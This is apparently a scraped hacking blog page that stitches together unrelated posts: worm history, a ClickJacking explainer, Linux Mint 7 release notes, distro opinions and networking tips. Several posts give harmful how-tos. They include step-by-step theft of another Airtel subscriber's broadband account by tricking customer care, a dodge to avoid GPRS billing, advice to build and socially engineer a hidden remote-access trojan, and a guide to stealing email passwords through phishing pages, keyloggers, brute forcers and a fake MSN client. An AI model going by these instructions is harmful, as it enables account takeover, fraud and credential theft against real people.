The target of the original version of MyDoom attack was the website of SCO Group Inc., a company that threatened to sue users of the Linux operating system, claiming that its authors used portions of SCO's proprietary code. A second version of MyDoom targeted the website of software giant Microsoft.
The SirCam worm, which spread during the summer of 2001, disguised itself by copying its code into a Microsoft Word or Excel document and using it as the attachment. That meant that potentially private or sensitive documents were being sent over the internet.
How do I get rid of them?
The best way to avoid the effects of worms is to be careful when reading e-mail. If you use Microsoft Outlook, get the most recent security updates from the Microsoft website and turn off the preview pane, just to be safe.
Never open attachments you aren't expecting to receive, even if they appear to be coming from a friend. Be especially cautious with attachments that end with .bat, .cmd, .exe, .pif, .scr, .vbs or .zip, or that have double endings. (The file attachment that spread the Anna Kournikova worm was AnnaKournikova.jpg.vbs.)
Also, install anti-virus software and keep it up to date with downloads from the software maker's website. The updates are usually automatic.
Users also need to be wary of e-mails claiming to have cures for e-mail worms and viruses. Many of them are hoaxes that instruct you to delete important system files, and some carry worms and viruses themselves.
As well, some users should consider using a computer with an operating system other than Windows, the target of most e-mail worms. Most of the worms don't affect computers that run Macintosh or Linux operating systems.
ClickJacking is a relatively old vulnerabilitiy that has been around since 2003-2004, however it has been recently brought back to life by Robert Hansen and Jeremiah Grossman. ClickJacking is a little bit difficult to explain however try to imagine any button that you see in your browser from the Wire Transfer Button on your Bank, Post Blog button on your blog, Add user button on your web-site etc. ClickJacking gives the attacker to ability to invisibly float these buttons on-top of other innocent looking objects in your browser. So when you try to click on the innocent object, you are actually clicking on the malicious button that is floating on top invisibly.
So while you are simply trying to close the javascript pop-up on your screen, play a flash game or interact with some ajax web-site -- you might really be clicking on the button to wire-transfer money to a russian bank account.
A slightly more technical description would be: A malicious page in domain A may create an IFRAME pointing to an application in domain B, to which the user is currently authenticated with cookies. The top-level page may then cover portions of the IFRAME with other visual elements to seamlessly hide everything but a single UI button in domain B, such as 'delete all items,' 'click to add Bob as a admin,' etc. It may then provide its own, misleading UI that implies that the button serves a different purpose and is a part of site A, inviting the user to click it.
In other words, the hacker would dupe users into visiting a malicious page -- through the usual methods -- but then hide the nasty bits under what appears to be the real-deal content from a legitimate site.
How Serious is ClickJacking?
On its own ClickJacking doesn't sound to be a very serious vulnerability, since user interaction is required. However as I have always said, in the world of vulnerabilities 1+1 does not always equal to 2, and might just equal to 10^2. By this I simply mean, that ClickJacking in combination with other vulnerabilities could become a very serious issue.
Example - ClickJacking can Spy on your Webcam and Microphone
Just as I wrote this blogpost a new use for ClickJacking has been disclosed where it can be used to spy on your Microphone and Webcam. This is based on a new vulnerability discovered in Adobe's Flash Software and published about on Guya.net, Rsnake's Blog and Jerremiah Grossman's Blog.
A particular vulnerability exists in Adobe's Flash Software, which allows the malicious attacker to use ClickJacking to gain access to the user's web-cam and microphone.
The vulnerability works as follows:
1) You visit a web-page with a flash application/game embedded in it.
2) You click on the flash button.
3) Your click is "click-jacked" into allowing the server to access your web-cam and microphone.
Whatis really happening:
1) You visit the web-page, in the back the target application (in this case Adobe's Settings Panel) is loaded and made invisible. The Allow button is made to float invisibly.
2) While you click on the flash button, the invisible Allow button is floating on top of the flash button and actually receives your click.
3) The Flash application now has full permission to access your web-cam, microphone etc and even have it stream to a server where it is recorded for future viewing.
In my post, Hack Airtel:Free mis call alerts, i have explained a trick to hack airtel for receiving free miss call alerts. Here, in this post, i am explaining about a hack to enjoy free airtel GPRS.
- Download TeaShark browser. Its free and being JAR file it can be installed on most handsets.
- Open it from your mobile and select AirTel Live as access point.
- Thats it! Open any site from TeaShark and you won’t be charged anything.
Note for the first time, when TeaShark starts, it may take more than one minute to initialize. Also this one time initialization may fail many times. But don’t loose your heart!
Here are some mobile sites… The whole thing seems a fortunate coincidence for mobile users and unfortunate one for network operators. This trick cannot be termed illegal as you are not cracking any software or modifying any configuration. For the same reason, I think this will take longer to get rectified. Please keep in mind that AirTel or any mobile operator can calculate all unbilled/free usage anytime in future thus may charge you all of a sudden. So please use it at your own risk! Link: Download TeaShark | wap site - wap.teashark.com
I usually get 2-4 mails a week asking about how to increase Airtel Broadband Internet Speed. As I am using Airtel Broadband internet connection so today I am going to tell you that how you can increase your Internet speed from 64 Kbps to 256 Kbps without any software.
I do not know whether this trick is legal or not but I guarantee you that Airtel will never know about this.
So lets start :
Requirements :
1) An Airtel broadband connection.
2) Any Airtel phone number with high broadband speed : Yes, you need a phone number of Airtel with high broadband speed like 256 kbps. Airtel connection is so common that any of your friend or neighbour might be using it. Just ask for their phone number and save it. As an example, I am assuming a number 1234567
Step1) Now comes the tricky part : Just call 197 from your Airtel landline phone and ask for the following details of the number 1234567.
>> Name of the owner of this number.
>> Address of the owner of this number.
Step 2) That’s it. Now note down the 2 details mentioned above.
Step 3) Now call customer care ( 4444121) from Airtel landline and tell them that I need the Account Number and give them the phone number you have e.x 1234567
He/she will ask you for the account details and tell them exactly what you noted in Step 2.
Note : Airtel by default sets the username as Phone Number and password as Account Number.
Now you have phone number and account number of a person that has a high broadband Airtel connection.
Now I am going to tell you that what to do with the phone number and account number.
Step 4) Open Internet Explorer or Mozilla Firefox and in the address bar enter the following address and hit enter.
192.168.1.1
When you will press enter a Window will pop up asking for User Name and Password.
Step 5) In the user name and password field enter the details below :
User Name : admin
Password : password
DSL Router will open and we have to make some changes in the Modem settings.
Step 6) In the left sidebar click on WAN and a new page will open and click on EDIT.
Have a look :
Click on Edit and keep on clicking Next until you get this screen :
Now in the PPP Username and PPP Password enter the following :
PPP Username : 01721234567@_dsl@airtelbroadband.in ( Here is 0172 is my State Code and 1234567 is the phone number is assumed but in your case both will be different. )
PPP Password : enter the account number that your noted in Step 2
After entering these keep on clicking Next and at last click on Save and then Save and Reboot.
Now reboot your system and check your Internet speed here.
Congrats now you have high Airtel Internet Speed connection
“teamviewer” which lets you connect to any pc in the world through internet. Software’s like this usually don’t work for me as I’m behind an authenticated proxy server. I tried this team viewer as Shubham insisted me to try it. I wasn’t expecting it to work, but I was pleasantly surprised to see it working. This software has amazing features like file transfer, presentation, remote support, vpn. The best use of this software is to provide remote support. Whenever you try to help your family members or friends with problems in their computer via phone or instant messaging most of the times they don’t understand what you are saying or the problem is not communicated properly. But now with this software you can fix any computer connected to the internet just by sitting in front of your computer. You just have to install this software on your system and ask the people on the other side to install the same and tell u the ID and password. Once you enter the id and password you will be able to connect to their system.People on the other side can watch what you are doing on their computer screen and can learn how to fix the problem themselves if it happens again. This login id and password will be valid only for one session.
For those who have never done real hacking and think that it’s tough and impossible…
See this software from a hacker’s perspective. This is something like a Trojan (This isn’t exactly a Trojan, a Trojan installs on the victims computer with out his knowledge and runs in the background) which installs on the victims computer and give you access to his computer. This software proves that hacking is not impossible.
Try to create a software like this yourself. Set a default login and password to it. Use social engineering to make the victim install this software on his computer (Program the software to start at system startup and run in back ground). Once done you will have complete control over the system. You can view what he/she is doing on his computer.
Here is the direct download link of the software
Download TeamViewer
Based on Ubuntu 9.04 Jaunty Jackalope, Linux 2.6.28, Gnome 2.26 and Xorg 7.4, Linux Mint 7 "Gloria" features a lot of improvements and the latest software from the Open Source World.
mintMenu improvements
Highlights: New "Suggestions" feature, keyboard shortcut, trash statusmintMenu lets you filter the list of applications to quickly access what you're looking for. A new feature called "Suggestions" was introduced in Linux Mint 7: When filtering gives no results the menu now shows a set of suggestions related to what is being searched.
This makes it easier to install new applications or packages on the fly or to search the portal or the repositories, directly from the menu itself.
The menu can now be opened from the keyboard by pressing the left Control key and the left Super key (Windows key) simultaneously. This is configurable of course so you can assign it any key you want (note that you'll need to restart the menu for this take effect). The menu also closes itself when either the Super key or the escape key are pressed.
Favorites now come pre-filled and comments are shown under the applications. These features were already present in previous releases but weren't well known by most users.
Hovering the menu now shows the Linux Mint release version and edition as a tooltip.
The trash icon now indicates whether the trash is empty or not and a right click option was added to empty it.
mintInstall improvements
Highlights: Featured applications, pre-filled information, seamless screenshots downloads, improved GUI layoutSome of the most popular applications were gathered in a new window named "Featured applications". This window shows the popular applications which are available and not currently installed on the system:
This makes it simpler for you to install most of what people are commonly looking for, all in one go.
The mintInstall frontend now comes pre-filled with all the data required to browse and install software, with the exception of the screenshots. Compared to the older versions of mintInstall this means you don't actually need to refresh the application to be able to use it.
When missing, screenshots are downloaded automatically. Of course, the "Refresh" button can still be used to download all of them at once.
The GUI layout was improved. The main window now shows less information and the once called "Versions" button was replaced with "More info".
This opens a window where you can see the versions, licenses, package names and repositories, but now also the upstream website, a long description, and the size of the packages.
MintInstall now runs in root mode and doesn't store any information in your home folder anymore.
mintUpdate improvements
Highlights: Changelogs, package sizes, usability,The changelog tab now supports Linux Mint packages. Previous versions of mintUpdate could only show changelogs for packages maintained by Ubuntu.
mintUpdate now shows the download size associated with each package upgrade.
In accordance with the Gnome usability guidelines mintUpdate's system tray icon does not blink anymore. The presence of available updates is still quite noticeable as different icons are being used. The update manager now feels even less intrusive.
mintUpload improvements
Highlights: Ads-free, GUI improvements, graphical service manager, SCP/SFTP supportAll ads were removed from the the default service.
The GUI layout was improved in mintUpload to make the application simpler to use and to hide information which wasn't relevant to the selected upload service.
Services can now be created, edited or deleted graphically via a new service manager.
Two new protocols are supported by mintUpload: SCP and SFTP.
Credits go to Philip Morrell, Manuel Sandoval, and Dennis Schwertel for their work on the SCP/SFTP support and for their continuous help in improving mintUpload.
mintWelcome
Linux Mint now comes with the following welcome screen:
Command line goodies - apt version, rtfm
You can quickly get the version of an installed package by typing "apt version" followed by the package name. For instance, "apt version firefox" gives you the version number of the firefox package.
RTFM is not an insult anymore, it's now a command. It's a simple link to the "man" command of course and it's nothing special, but if someone ever RTFMs you after you've asked questions on the IRC, don't feel bad about it, just say thank you. This is our way to make fun of the unfortunately well-established RTFM syndrom and we hope, if anything, you find it amusing.
New artwork
The default icon set was replaced with Gnome Colors.
Various upstream improvements in the Murrina engine used by the traditional Linux Mint theme make widgets, and buttons in particular, look better than they did before.
A new theme was included and set as default, based on Shiki Colors and the Mint-Dew wallpaper from Zwopper.
Other improvements
Firefox now comes with the Moonlight plugin and support for Silverlight 1.x.
The Firefox google search engine was enhanced to show links to popular search engines, as well as cached links and similar pages.
The Linux Mint 7 Gloria repositories are now signed.
Changes in the packages organization and the introduction of the mint-info virtual package make it easier to add additional desktops environments and editions on top of other ones. The new package hierarchy also makes it easier to upgrade Linux Mint.
mintSystem now comes with a new adjustment system, which restores important files at boot time. This strenghen the system against Ubuntu package upgrades overwriting Mint's specific configuration. This adjustment system can be configured in /etc/linuxmint/mintSystem.conf.
It is now possible to check the integrity of the liveCD and to boot the installer on its own.
MintAssistant was removed, and the installer now applies the same password to root as the one you choose for the main user.
mintDesktop was simplified:
Xchat now replaces Xchat-Gnome as the default IRC client:
A new command-line too called Inxi, was introduced:
Inxi shows various information about your system. An Inxi report can help a lot when asking questions on the forums or in the IRC as it helps others understand more about your system.
Small improvements:
- "apt purge" was fixed.
- "apt source" now runs in user mode.
- All Mint tools are now launchable from the command line.
- All Mint tools now detect their environment and adapt to it. In particular they know whether to use gksu or kdesudo. The consequence of this is that packages like mintupdate-gnome or mintupdate-kde are not needed anymore, and the same package is now compatible with all desktop environments.
- All Mint tools using an about dialog now show their own version number.
Upstream Improvements
Linux Mint 7 Gloria comes with a linux 2.6.28 kernel.
Gnome 2.26 comes with noticeable improvements in PulseAudio support, screen management, file-sharing, and disc burning.
The Ubiquity installer features graphical improvements and support for the ext4 filesystem.
Ubuntu 9.04 also introduced better notifications, faster boot times, enhanced suspend-and-resume and better switching between Wi-Fi and 3G connections.
Information
Our latest release is Linux Mint 7, codename "Gloria". Please choose the edition you wish to download. If you're new to Linux Mint or if you're unsure as to which edition is right for you, choose the Main Edition.
Read the Linux Mint 7 User Guide (2.0MB)
Choose an edition
Main Edition
Choose this edition if you're new to Linux Mint or not sure which edition to choose.
Universal Edition
This edition aims to provide the same features as the Main Edition without including proprietary software, patented technologies or support for restricted formats. If you're a magazine, a reseller or a distributor in Japan or in the USA then choose this edition.
It also comes as live DVD and features built-in support for English, French, Spanish, German, Italian, Swedish, Danish, Chinese, Korean, Portuguese/Br, Portuguese/Pt, Arabic, Hungarian, Lithuanian, Galician, Dutch, Russian, Polish, Norwegian, Japanese, Ukrainian, Romanian, Slovenian, Catalan, Greek, Czech, Slovak, Marathi, Norwegian [nynorsk], Croatian, Bulgarian, Turkish, Hindi, Finnish, Hebrew, Serbian, Belarussian and partial support for Basque and Bosnian.
x64 Edition
This edition wasn't delivered for Linux Mint 7 yet. This is Linux Mint 6 Felicia x64.
This edition supports the X86_64 architecture and it is optimized for 64bit processors. Note that the Main Edition (which is 32bit) is usually more stable and it also supports 64bit processors.
(Ubuntu feisty vs PCLinuxOS 2007)
Hello guys…
I am one of Linux enthusiast like you people, and have used almost all major Linux distros in past.Currently I triple boot Windows XP/Ubuntu Feisty /PCLinuxOS 2007.I am very impressed with PCLOS 2k7, even more than i was with Ubuntu. So i though why not write something which may help other people….
So here it goes as if why PCLOS 2k7 is better than Ubuntu :
All things written below are completely my own views, based on my experiences with Linux and Windows, during past years and are no way related to PCLinuxOS OS or Ubuntu developers, or any other person or company mentioned below.
- First reason, PCLOS is based on KDE,while Ubuntu is based on GNOME.
And the hard truth is that KDE is definitely better than GNOME. ( I know die hard GNOME users must be frowning). Well, I have points to prove :
(i). KDE gives so much power and options to user to configure their system and desktop, while GNOME in their goal of striving hard for simplicity (unnecessarily and sometimes more than required) cripples normal user (sometime even Linux geeks) in terms of above said parameters. KDE Control center gives far more options than GNOME.Even Mr. Linus Trovald supports thisfact in public and encourages users to use KDE ( google it to read Linus’s comments.)
(ii). KDE developers are far more active than GNOME people.
This is evident by the fact that KDE is going to release its 4th version (which is a major release, a complete overhaul,i mean everything has been reviewed), while GNOME has no plans of releasing even 3rd version.
iii). Lots of day to day used apps, like media player, torrent client, file manager, are far superior in KDE. To name a few, Amarok vs. Rhythymbox, Ktorrent vs (hey GNOME doesn’t even has a torrent client), Konqueror vs Nautilus, Gaim/Pidgin vs Kopete…. Almost everywhere KDE apps surpass over GNOME apps.
(iv). Now explanations to some of facts for which KDE is criticized by GNOME users mostly :
a. KDE is more like Windows.
Well first of all its not true. Because Windows itself copies all things from Mac, but you can’t do anything about that, because Mac people are almost always first to bring innovation in GUI. And if Mac people were first to develop the GUI [Graphic User Interface] (rather they also bought it from Xerox company in 80’s). So everything traces back to roots and looks similar. And GNOME doesn’t look like Windows because GNOME in first place doesn’t give many options in GUI. You know, GNOME’s philosophy is simplicity.
So better allegation would be that KDE is more like Mac. But believe me fellas, KDE people bring the best of all, along with their own innovations.
b. KDE is slower than GNOME.
Again same explanation, if you need power to configure, you need to have tools to do that. And it needs, both memory and processing. And i use both GNOME and KDE, i don’t see or feel much difference.
2. PCLOS has far more stability thanUbuntu. Reasons for that :
(i). PCLOS repository has softwares which have been tested by PCLOS developers completely, while Ubuntu has so many repositories available today, (though it is good in a
sense that Ubuntu has max. no of softwares available), that there are very high chances that some program or library dependency from unofficial repository may cause trouble to your system. (OK, this is not for geeks….. BUT this is hell lot of problem for newbies, and mid-experienced users….)
(ii). PCLOS is .rpm based which is better and more efficient packaging model for Linux binaries, than .deb, used by Ubuntu.
[Lot of people may not agree with this.So i want to clear that this is what i have learned from my personal experience, and research on Internet. So your thoughts are equally respected on this.]
3. PCLOS comes pre-installed with most of commonly used multimedia formats(except real player, quick time,and mpg), while Ubuntu doesn’t.
This point gives PCLOS a great push ahead of Ubuntu. Its too convenient in conditions like:
(i). Newbies who when using Linux for first time, just get shot when they see that their brand new Linux OS is not playing their favorite songs(mp3).
(ii). Now you will say, person above may simply double click the song, and Ubuntu will automatically install required binaries. True. But, just Imagine someone in developing nation, where Internet penetration is not good or not even available. How do you provide required binaries, as there are always dependencies involved in any Linux binary installation ? Will those people ever replace their perfectly running PIRATED Windows XP in such scenario ? Well, the answer is, NEVER…..
[I could never understand why doesn'tUbuntu pre-installs required multimedia formats. Legal Issues ? Well,i think , they are already getting into legal issues by providing it in repositories. so why not on CD ? May be some complex legal stuff..... if anyone kind enough to explain to me...]
5. PCLOS control center is a big and easy tool to configure system with just few clicks, while there is not anything analogous in Ubuntu.
This thing made me a fan of PCLOS. I thought while using Ubuntu that i will never be able to use 3d desktop on perman
6. Some things which i personally experienced with my own system:
(i). PCLOS automatically detected that i needed a software to correct my screen resolution, while Ubuntu didn’t.
(ii). PCLOS automatically configured my laptop touchpad correcly, while in Ubuntu, i had to edit x org file to get it working good. For newbies out there, its a nightmare to even find that file without any help from forums or people.
(iii). PCLOS detected my wireless card while Ubuntu didn’t.
(iv). On PCLOS, i could run 3d desktops (beryl and compiz) right after install while in Ubuntu i had to install these things from repositories.
(v). On PCLOS i can run even 2 or 3 videos with 3d desktop enabled, while in Ubuntu, whenever i even clicked a video file to play, it would simply exit without anything playing. ( I have a little old laptop with no separate graphic card)
This thing made me a fan of PCLOS. I thought while using Ubuntu that i will never be able to use 3d desktop on permanent basis but with PCLOS i am a complete 3d convert.
[For newbies : 3d desktop on Linux are freaking awesome. Windows vista with its too much hyped "Live Thumbnails in Taskbar" and "Aero Flip Through Windows" should be ashamed. I mean guys, it nothing in front of Linux 3d desktops. And Microsoft spends 5 BILLION DOLLARS on research (did u read that !).
i moved on to Ubuntu.
Why? Cause, i have started loving Linux, after working with Fedora. It feels great to have full control using the terminal. Now, my dad insists to have Vista too, so that my transition from Windows to Linux is smooth. I believe I have already shifted to Ubuntu, cause rarely do I login to Vista.
Now all this is on my laptop that I will be taking with me to my college. I have so many friends, who will consider that I am being rude if I don’t let the use the laptop for watching movies or playing games. (I am using my laptop for coding and web design, sometimes for songs, but no games! at least for now). So how do I do that? Well, most of my friends are bad at Linux, so I don’t need to worry about that, but still I have Vista and that shall be a problem.
I found a solution for this myself: Remove Vista Option from the boot loader! You might be thinking, then how do you access Vista!
That’s exactly what I am going to tell now.
To remove/edit the menu options, you need to edit this file.
/boot/grub/menu.lst
Before that make a backup file using the following command.
sudo cp /boot/grub/menu.lst /boot/grub/menu.lst.backup
Open your terminal. Type
sudo gedit /boot/grub/menu.lst
This should open the menu file. Scroll down and find something similar to this.
title Windows Vista Home Premium
root (hd0,0)
savedefault
makeactive
chainloader +1
It might vary depending on what you have installed and where you have installed. Comment them by adding a ‘#’ without quotes in front of each line. (Deleting them won’t be a good idea).
Save the file and try restarting. You won’t find the Vista option now!
Hey! now what do I do to boot Vista?
It’s simple. When the OS selection menu appears, press ‘c’ to enter the command line interface.
Type the following commands one by one.
root (hd0,0)
makeactive
chainloader +1
Note: Replace (hd0,0) with what was mentioned in the menu.lst file corresponding to Vista.
Finally type the command boot, and lo, Vista loads.
Now, that’s a geeky way. Provides access only to me and none else. One look and everyone thinks that only Ubuntu is installed, but peep a little more and hey! there is Vista too!.
Disclaimer: Helpful only if your friends are vista noobs and don’t know this alternative.
Hope that was helpful.
So many people have asked that question,and honestly its a dumb one.But its our job,to help you,so i made this thread.
There are many ways to hack an email:
Phishing
Phishing is a way of saying keylogger but in an other meaning.Let’s say you want to create a hotmail phishing page.The page should look
exactly like the real one.
How does it work:
You can download/make a replica of the website you want to phish.And save is as HTML.When you’re done with that,you have to find a way
to upload the HTML.Best way is a Website.Like Piczo/Blogspot.When thats done the user types his/hers username and password.And automatically
it will be sent to you by mail.And there you have it,that’s Phishing.
Here Are Some Tutorials That Help:
http://www.hackforums.net/showthread.php?tid=15895
http://www.hackforums.net/showthread.php?tid=14154
http://www.hackforums.net/showthread.php?tid=12583
http://www.hackforums.net/showthread.php?tid=12468
Brute Forcing
Brute Forcing is like guessing the password , but instead you make/download a password list[a long txt file containing words that might be
the password] ad the Brute Forcer tries them all
Download your Msn Brute Forcer Here:
http://www.speedyshare.com/228815220.html [may find a trojan inside but that's normal]
Download Password Lists here:
http://www.hackforums.net/showthread.php?tid=15562
Keyloggers
Keyloggers is like phishing but is more simple.Its a simple .exe executable.When someone clicks it,the Keylogger auto downloads.And you’ll
have ,on your computer,you start it,and put in the ip of the destination,and every hour you’ll receive keys pressed on his computer
thats an easy way to find out msn passwords
Here are some tutorials:
http://www.hackforums.net/showthread.php?tid=15003
http://www.hackforums.net/showthread.php?tid=10365
Fake Msn
Fake msn is just a replica of Msn Messenger.Let some of your friends come over.And open up the fake msn.Let them type in ther
msn hotmail,and their password.Then they will get a troubleshoot , and their username/password will be saved in a .txt file in C:\
Download here:
http://www.savefile.com/files/1357897
Guessing The Secret Question
If you know your friends,this will be an easy task.Go to http://www.hotmail.com and click forgot password,then put in the email address
and then the CATCHA code,reply on the secret question,but beware because you have like 3 tries only.
Input Validation Attacks:
It is one of the very ‘easy to implement’ attack. It insets malicious scripts into an application and by running such application the system can be attacked and it becomes vulnerable. It is even hard to defend than passive attacks.
Following are some of the best countermeasures against input validation attacks:
Application should be subjected to every possible future situation that can encounter by security perspective
Programmers are supposed to understand the importance of giving attention to security aspects,while they develop the application.
Adopting a protective approach is best in practice. It is more affective, cheaper, easier and faster tool to look for and remove any loopholes in input validation in the stages of development.
Keeping your program very simple helps you to test it against loopholes and input validation vulnerabilities.
Restricted user and file access should be implemented in all kinds of application environments.
There should be proper separation between trusted and untrusted data.Trusted data should never be allowed spill over the understand memory spaces.
Keep in mind that any applications should not be allowed to other access trusted applications.
Most common buffer overflow attacks can be avoided by applying above measures.Buffer overflow are one of the lethal weapon for hackers and it is a widely used type of net attacks.
If you spill out special characters like quotation marks, slash, semicolon, backslash etc., from user input , URL parameters and cookies it will make it harder for attacker to implement such attack ans also SQL injection attacks.
Are you thinking of trying out Linux? Fed up of everyday battles with Virus and Antivirus? Wanna give this open sourced free software a try? Well then this post is exclusively for you.An insight into what you shall find here.
- Which one to select?
- What more do I need?
- What should I know?
- What about my Windows?
So let’s get started.
Do you know there are some advantages that Windows has over Linux? First thing is you very well know what is the latest Windows version out there in the market. So you don’t have to think of which Windows will suit you best (of course some did have that problem, when Vista came with all of it’s different flavours). In Linux there are a lot of options, which makes it an advantage and also a disadvantage.
For those who experiment and are bored of their system they can always try out a new distro (that’s what the various flavours of linux are called). But for newbies it is a dilemma.
So I shall suggest the one distro that I have been suggesting my friends and who also are finding it comfortable with linux. Linux Mint is my suggestion to you. It is based on the user friendly and #1 distro, Ubuntu (as per distro watch website).
You can read about why I suggest Linux Mint at my blog. Most important reason is most codecs are preinstalled and hence gives you a wonderful linux experience. Also it has some looks similar to Windows so it shall be helpful for Windows users to use it.
Now let’s talk about the softwares required. For playing your music files we have RhythmBox and for your Movies and DVD’s we have MPlayer preinstalled with all codecs! Just works out of the box. You might have to install the graphics drivers and also the Wireless drivers. Most things work out of the box! That’s what I like about Mint!
Softwares I consider necessary
I installed Mint on my laptop and based on whatever I needed I made this list.
- Guake - This is a really quit replacement for the gnome-terminal. This one by default can be run by pressing F12 and makes it easier to invoke the terminal. Give it a try. Am sure you will love it!
- Emacs - I love this text editor more than vim. I use it to do most text editing and open it within the terminal using the command :
- g++ - Required if you are of the coding genre.
- XAMPP for Linux - This package bundles up Apache, PHP, MySQL and PHPMyAdmin and helps you set up your own server in minutes. It also installs a FTP server. A good alternative to manually installing Apache, PHP, MySQL and PhpMyAdmin and then configuring it. Read about the manual way here.
- Cheese - For using your webcam!
- NMap and Wireshark - Install these if you know you will use them the way they should be used.
- NFS - No not Need for Speed. I mean here Network File System which is useful for fast sharing of file between networks
- smbfs - Samba File System for mounting Windows based networks and sharing files between them.
- Computer Temp - This is a taskbar applet and shall show your system temperature. Useful for Laptop users.
- SmartMonTools - This helps you monitor your hard disk and ensure it’s long life.
- Amarok - Another music player. A replacement for RhythmBox. Both these softwares are worth using.
- VLC - You should be knowing all about it.
- Beagle - Indexed searching of your files.
- Eclipse - Integrated Development Environment
- NetBeans - Another Integrated Development Environment with support for Java based Softwares.
emacs -nw filename
This is a short list. There are many more software’s that shall capture your interests. Software’s like Compiz Fusion and Gnome Do are preinstalled. Read about how to set Compiz Fusion here.
The most cool thing about using linux is using the terminal. Gives you a geeky cool look and friends look with awe when i use the terminal with ease. You can learn how to use the terminal for everything you want to do from the valuable lessons at linuxcommand.org.
The best thing about Linux Mint for Windows users is that it exclusively is customized for new users to feel at home. Installation is a breeze and it detects existing Windows partition and helps you in dual booting your system with your existing version of Windows and the new Linux Mint!
There is also a detailed ebook which shall guide you through the installation process and for your experimentation with Linux hereon!
Download Linux Mint Now! The Choice is Yours!
Hi I am Prateek Dixit owner of Thetechnoclub. From this article I am going to show you how to built a network via LAN. Basic things required while building up a network are
- LAN Cable with rj45 connectors
- Computers between the networking is to be done.
RJ45 is basically called as Register Jacket. It is a piece of plastic bound with different types of wires in a particular and sequential range for the purpose of running of different applications. This jack helps to enable you to to ping with the other node.
Entire networking is based on the TCP/IP ports explained in my previous posts. Each computers should be provided with its individual IP address. IP address are basically classified in 3 types A, B, C
ranging from 1 to 255. This range is as follows.
Class A- 0 to 127
Class B- 128 to 191
Class C- 192 to 223
A local area network gives networking features to the computers in close distance with each other in an office,school, building etc.However a LAN can be connected to many LANs based on a varied distance using telephone lines, radio waves.Here are some steps which can help you to built a network at your home on your own.
- The first and the basic step before setting up a network is to check whether LAN drivers are successfully installed on both the computers.
- Then you have to insert both the connectors on the respective computers rj45 ports.
- Ones you are done with it, the next part is of assigning IP addresses.
- Go to Start>Control panel>Network Connections>right click on Local Area Connection>properties> (TCP/IP)>properties.
- click on Use the following IP address: the next step is to put IP addresses.
- Remember you have to put IP addresses ranging from 1 to 254 only.
- For instance you can put:
IP address: 192.168.1.1
subnet mask:255.255.255.0 (will appear by default)
Default gateway: put same as IP address.
ip settings
(done for the 1st pc)
Follow the same steps for the second PC bt here you Just have to change the IP address, for instance you can keep it 192.168.1.2 and the other two kept same.Save the settings for both the computer. To test whether the network is working fine you can go to cmd and type in “ping ip” without quotes. If you get a reply, then your network is setup successfully.
ipconfig command is used to get your ip address and other connection details.
Sharing is very important, for a successful usage of documents between two computers. This process is very simple.
Just right click on the folder you want to share, go to sharing and security, and just allow the folder to be shared. Finish it, now you can access the folder on other computer from My Network Places else you also have a another trick to do it, as you have to go to StartMenu> Run and type there \\ip of the computer on the network you want to access. When you type this command, it will eventually show you the shared files on the network. After this process you can access all the files shared on the network just as shown in below pic.
sharing
Have fun sharing files and playing games.
Hey Guys !
During a search on internet about how to remove autorun.inf virus from my hard drives and usb drive, i have found this awesome software which deletes the virus very cleanly without making any damage to data in your drives…
here are some images of this software….
Further for more information you can visit the site!
http://oldmcdonald.wordpress.com/
and review the completer description about software!
Today every one is affraid of pen drive.Every computer user consider it as a monster. Here is something that could change your attitude towards pendrive.
Here i am going to show you how to make your pendrive free from virus.
First, you have to know how much free space is left on the USB drive. Plug in the drive, go to My Computer, right click on the drive letter and select Properties.Take note of the “Free space” that is in bytes.My USB drive has 1,300,594,688 free space, so I will need to create a dummy file that has the exact file size.
The best and easiest way is to use fsutil, a command line tool included in windows. Open up command prompt from Start Menu > Accessories and type the following command:
You will see that your USB flash drive’s LED is blinking meaning the file is being created.Now my pendrive has 0 free space and virus won,t be able to get in. You can change 1300594688 to the size that you want in bytes. F: is the letter of my USB flash drive and IamDummy is the file name.When you want to copy files into USB removable drive, simply delete dummy file.When you’re done ,create the dummy file again using the fsutil command.
Counter
Labels
- About Domain Names (4)
- Android Hacks (2)
- Anti Yahoo booter (1)
- AOL hack (1)
- Broadband Hacking (5)
- Browser Tricks (1)
- Bsnl hack (1)
- Cell Phone Hacking (7)
- Computer hacks (24)
- Cracks/Serials (3)
- DataBase hacking (2)
- Defender (1)
- E-books for Hacking (4)
- Ethical hacking (15)
- Exciting Links.. (14)
- Facebook hack (2)
- FireFox hack (2)
- Free Downloadings (1)
- G-TALK Hacking (3)
- Gmail Hacking (2)
- Google Chrome (1)
- Google Hacking (2)
- Hack Airtel (5)
- Hack Vodafone (2)
- Hacking (62)
- Hotmail hack (3)
- Important Articles (16)
- Important Utility Softwares (35)
- Increase download speed (1)
- Innovations Articles (5)
- Intel Core i 7 (1)
- ip (2)
- ip hack (6)
- iPad (1)
- Key Logger (1)
- Lan Hacking (1)
- LInux (11)
- MegaUpload Hack (4)
- Mobile Hacks (14)
- Msn hacks (4)
- Nero (Linux) (1)
- Networking (6)
- Office (1)
- Operating Sysytems (24)
- Oracle 11g (2)
- Orkut goodies (3)
- Orkut Hacking (8)
- Password Hacking (6)
- phone unlocking (2)
- Programming softwares (3)
- Proxy (1)
- Proxy links (1)
- Rapid share hacks (10)
- Security (5)
- Skype hacking (1)
- Special Antiviruse (1)
- Theme for XP (3)
- Themes for Window 7 (1)
- Trojan (6)
- Usb Secuirty (3)
- Viruse (9)
- Website hacking (7)
- Windows 8 (2)
- Wireless Hacking (7)
- Xp Tweeks (5)
- Yahoo Hack (3)
- Yahoo messnger hack (6)
- You Tube Hack (1)
- Zapak hacking (4)



